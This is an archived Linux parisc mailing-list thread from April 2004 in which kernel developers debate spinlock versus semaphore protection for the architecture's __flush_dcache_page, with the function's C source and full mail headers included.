> =A0=A0=A0=A0=A0=A0exit # Go back to the installer.
> =A0 =A0 =A0 =A0 Reboot the system.
>
> Hope this helps you. =A0I am heading off to bed now... so let me know=
 if
> you have any additional problems or questions, I will try to help out=

> some more tomorrow!
>
> Thanks,

best,

--
Paczk=F3 Andr=E1s
rendszergazda

Naturland Magyarosz=E1g Kft.
+36 (06-1) 431-2092
paczkoa@naturland.hu
ICQ: 178003397






=






From - Thu Nov 08 21:31:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 09:40:37 -0500
Lines: 114
Approved: news@gmane.org
Message-ID: <1081435237.1885.144.camel__35243.9524409876$1416623344$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623344 8016 80.91.229.3 (22 Nov 2014 02:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:04 +0000 (UTC)
Cc: Andrea Arcangeli <andrea@suse.de>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 08:40:42 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48409482A
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 08:40:42 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38Eeba18997; Thu, 8 Apr 2004 10:40:37 -0400
In-Reply-To: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 14:40:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21322

On Thu, 2004-04-08 at 09:16, Hugh Dickins wrote:
> Don't be afraid, that's good!  Is it still going vertically down
> i_mmap_shared and i_mmap?  Whereas it's only interested in vmas of
> the one mm, so could go horizontally along it.  Just an option to
> play with, but I don't believe it solves anything, just as unsafe
> when threaded.

Yes, I've attached the current code.  I'm afraid we have space
separation in our caches and tlbs, so we're interested in all mm's not
just the current one (that was the bug that just got fixed).

> Which we're not giving you at all at present.  I guess another layer
> of spinlocking/nopreemption, for parisc and arm, dissolving to nothing
> on other arches.

Whatever seems most convenient that won't impact the flushing fast path,
I suppose.  It's one of the hottest paths in the system since all data
transfers go through it for user visibility.

James

__flush_dcache_page(struct page *page)
{
	struct mm_struct *mm = current->active_mm;
	struct list_head *l;
	struct vm_area_struct *anyvma = NULL;

	flush_kernel_dcache_page(page_address(page));

	if (!page->mapping)
		return;

	/* We have ensured in arch_get_unmapped_area() that all shared
	 * mappings are mapped at equivalent addresses, so we only need
	 * to flush one for them all to become coherent */
	list_for_each(l, &page->mapping->i_mmap_shared) {
		struct vm_area_struct *mpnt;
		unsigned long off, addr;

		mpnt = list_entry(l, struct vm_area_struct, shared);

		if (page->index < mpnt->vm_pgoff)
			continue;

		off = page->index - mpnt->vm_pgoff;
		if (off >= (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT)
			continue;

		addr = mpnt->vm_start + (off << PAGE_SHIFT);

		/* flush instructions produce non access tlb misses.
		 * On PA, we nullify these instructions rather than 
		 * taking a page fault if the pte doesn't exist, so we
		 * have to find a congruent address with an existing
		 * translation */

		if (!translation_exists(mpnt, addr))
			continue;

		anyvma = mpnt;

		/*
		 * We try first to find a page in our current user process
		 */
		if (mpnt->vm_mm != mm)
			continue;


		__flush_cache_page(mpnt, addr);

		/* All user shared mappings should be equivalently mapped,
		 * so once we've flushed one we should be ok
		 */
		goto flush_unshared;
	}

	/* OK, shared page but not in our current process' address space */
	if (anyvma) {
		unsigned long addr = anyvma->vm_start
			+ ((page->index - anyvma->vm_pgoff) << PAGE_SHIFT);
		__flush_cache_page(anyvma, addr);
	}

 flush_unshared:

	/* Private mappings will not have congruent addresses, so we
	 * have to flush each of them individually to make the change
	 * in the kernel page visible */
	list_for_each(l, &page->mapping->i_mmap) {
		struct vm_area_struct *mpnt;
		unsigned long off, addr;

		mpnt = list_entry(l, struct vm_area_struct, shared);

		if (page->index < mpnt->vm_pgoff)
			continue;

		off = page->index - mpnt->vm_pgoff;
		if (off >= (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT)
			continue;

		addr = mpnt->vm_start + (off << PAGE_SHIFT);

		/* This is just for speed.  If the page translation isn't
		 * there there's no point exciting the nadtlb handler into
		 * a nullification frenzy */
		if(!translation_exists(mpnt, addr))
			continue;

		__flush_cache_page(mpnt, addr);
	}
}



From - Thu Nov 08 21:31:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 17:14:15 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <20040408151415.GB31667__11616.9146764607$1416623344$gmane$org@dualathlon.random>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623344 8018 80.91.229.3 (22 Nov 2014 02:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:04 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 09:14:18 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7B17482A
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 09:14:17 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id 65E304A60; Thu,  8 Apr 2004 17:14:15 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081435237.1885.144.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 15:14:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21323

On Thu, Apr 08, 2004 at 09:40:37AM -0500, James Bottomley wrote:
> Whatever seems most convenient that won't impact the flushing fast path,
> I suppose.  It's one of the hottest paths in the system since all data
> transfers go through it for user visibility.

you'd need to take a semaphore there to be safe, so it's basically
unfixable since you can't sleep or just trylock.


From - Thu Nov 08 21:31:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Albers" <libreria@albers.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] automated response
Date: Thu,  8 Apr 2004 11:21:46 -0400
Lines: 4
Approved: news@gmane.org
Message-ID: <10404081121.AA00292@albers.cl>
Reply-To: libreria@albers.cl
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623345 8022 80.91.229.3 (22 Nov 2014 02:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:05 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: libreria@albers.cl  Thu Apr  8 09:22:53 2004
Return-Path: <libreria@albers.cl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from albers.cl (unknown [200.72.133.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0679D482A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 09:22:52 -0600 (MDT)
X-Mailer: <SMTP32 v20010131>
Precedence: bulk
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 15:22:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21324

Hemos deshabilitado esta direccion de correo por la creciente recepcion de correo no solicitado. Consulte por fono o fax.

Due to increasing Spam, we have disabled this e-mail address. Please contact us by phone or fax.


From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 10:28:44 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1081438124.2105.207.camel__11395.4250621193$1416623345$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave> 
	<20040408151415.GB31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623345 8024 80.91.229.3 (22 Nov 2014 02:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:05 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 09:28:59 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 828B34894
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 09:28:59 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38FSia21905; Thu, 8 Apr 2004 11:28:44 -0400
In-Reply-To: <20040408151415.GB31667@dualathlon.random>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 15:29:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21325

On Thu, 2004-04-08 at 10:14, Andrea Arcangeli wrote:
> you'd need to take a semaphore there to be safe, so it's basically
> unfixable since you can't sleep or just trylock.

That's a bit of an unhelpful suggestion.

flush_dcache_page() exists to support coherency problems with virtual
aliasing and a feature of that is that you have to flush every
inequivalent user address which might be cached, hence the need for list
traversal.

Exactly why wouldn't a simple spinlock to protect page->mapping work?  I
know we don't want to bloat struct page, but such a thing could go in
struct address_space?

James




From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 17:34:12 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20040408153412.GD31667__6731.31088628924$1416623345$gmane$org@dualathlon.random>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623345 8030 80.91.229.3 (22 Nov 2014 02:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:05 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 09:34:14 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABEF44E66
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 09:34:13 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id 990DB4A5A; Thu,  8 Apr 2004 17:34:12 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081438124.2105.207.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 15:34:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21326

On Thu, Apr 08, 2004 at 10:28:44AM -0500, James Bottomley wrote:
> Exactly why wouldn't a simple spinlock to protect page->mapping work?  I
> know we don't want to bloat struct page, but such a thing could go in
> struct address_space?

yes, the spinlock in struct address_space would be enough, and that's
what 2.4 does too, Andrew changed it to a semaphore in 2.6 but it can be
made a spinlock again. Then you can fix it (as far as you never call it
from an irq and as far as you don't generate exceptions inside the
critical section, but I'm sure you don't).


From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 16:35:12 +0100 (BST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0404081626460.7248-100000__14502.1658660427$1416623346$gmane$org@localhost.localdomain>
References: <20040408151415.GB31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416623346 8035 80.91.229.3 (22 Nov 2014 02:29:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:06 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: hugh@veritas.com  Thu Apr  8 09:35:16 2004
Return-Path: <hugh@veritas.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from MTVMIME02.enterprise.veritas.com (bay-bridge.veritas.com
	[143.127.3.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9DFF4E64
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 09:35:15 -0600 (MDT)
Original-Received: from megami.veritas.com (unverified) by 
	MTVMIME02.enterprise.veritas.com (Content Technologies SMTPRS 4.3.12) 
	with SMTP id <T68d5aa6a380a8911547a0@MTVMIME02.enterprise.veritas.com>; 
	Thu, 8 Apr 2004 08:35:14 -0700
Original-Received: from peculier ([10.10.188.58]) (1553 bytes) by megami.veritas.com 
	via sendmail with P:esmtp/R:smart_host/T:smtp 
	(sender: <hugh@veritas.com>) id <m1BBbYf-0000eqC@megami.veritas.com>
	for 
	<linux-kernel@vger.kernel.org>; Thu, 8 Apr 2004 08:35:13 -0700 (PDT) 
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@localhost.localdomain
In-Reply-To: <20040408151415.GB31667@dualathlon.random>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 15:35:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21327

On Thu, 8 Apr 2004, Andrea Arcangeli wrote:
> On Thu, Apr 08, 2004 at 09:40:37AM -0500, James Bottomley wrote:
> > Whatever seems most convenient that won't impact the flushing fast path,
> > I suppose.  It's one of the hottest paths in the system since all data
> > transfers go through it for user visibility.
> 
> you'd need to take a semaphore there to be safe, so it's basically
> unfixable since you can't sleep or just trylock.

It's not fixable via the i_shared_sem, but we can add another layer
of spin_lock around the i_mmap* list/tree manipulations, one that
preprocesses away to nothing on all arches but parisc and arm, and
is used in their __flush_dcache_page.  *Not* the page_table_lock ;)
Unappealing, but a lot better than leaving them unsafe.

Hugh



From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 10:47:23 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1081439244.2165.236.camel__6671.66031566939$1416623346$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave> 
	<20040408153412.GD31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623346 8038 80.91.229.3 (22 Nov 2014 02:29:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:06 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 09:47:28 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9F934F58
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 09:47:27 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38FlOa22961; Thu, 8 Apr 2004 11:47:24 -0400
In-Reply-To: <20040408153412.GD31667@dualathlon.random>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 15:47:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21328

On Thu, 2004-04-08 at 10:34, Andrea Arcangeli wrote:
> yes, the spinlock in struct address_space would be enough, and that's
> what 2.4 does too, Andrew changed it to a semaphore in 2.6 but it can be
> made a spinlock again. Then you can fix it (as far as you never call it
> from an irq and as far as you don't generate exceptions inside the
> critical section, but I'm sure you don't).

Well, yes, of course we do.  We're a sofware tlb arch, so we generate
exceptions on tlb misses, which can occur anywhere (even in critical
sections).  However, the exceptions are carefully crafted not to take
spinlocks, so everything should be safe.

I'm not sure about the no in irq assertion.  The biggest use of
flush_dcache_page is on the I/O return path ... that looks like a good
candidate for being in interrupt (even though most drivers should be
offloading to softirq/tasklets).

James






From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 18:13:22 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20040408161322.GE31667__22951.6329280616$1416623346$gmane$org@dualathlon.random>
References: <20040408151415.GB31667@dualathlon.random>
	<Pine.LNX.4.44.0404081626460.7248-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623346 8042 80.91.229.3 (22 Nov 2014 02:29:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:06 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: andrea@suse.de  Thu Apr  8 10:13:24 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id D61984FDA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 10:13:23 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id C81BC4A47; Thu,  8 Apr 2004 18:13:22 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0404081626460.7248-100000@localhost.localdomain>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 16:13:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21329

On Thu, Apr 08, 2004 at 04:35:12PM +0100, Hugh Dickins wrote:
> It's not fixable via the i_shared_sem, but we can add another layer

I meant it's unfixable unless we change the VM common code.

> of spin_lock around the i_mmap* list/tree manipulations, one that
> preprocesses away to nothing on all arches but parisc and arm, and
> is used in their __flush_dcache_page.  *Not* the page_table_lock ;)

I'd prefer to use only a spinlock then to carry around two overlapping
locks, the need_resched() check is needed anyways even with preempt in
the real costly paths.


From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 18:16:10 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20040408161610.GF31667__13872.9128324941$1416623347$gmane$org@dualathlon.random>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623347 8044 80.91.229.3 (22 Nov 2014 02:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:07 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
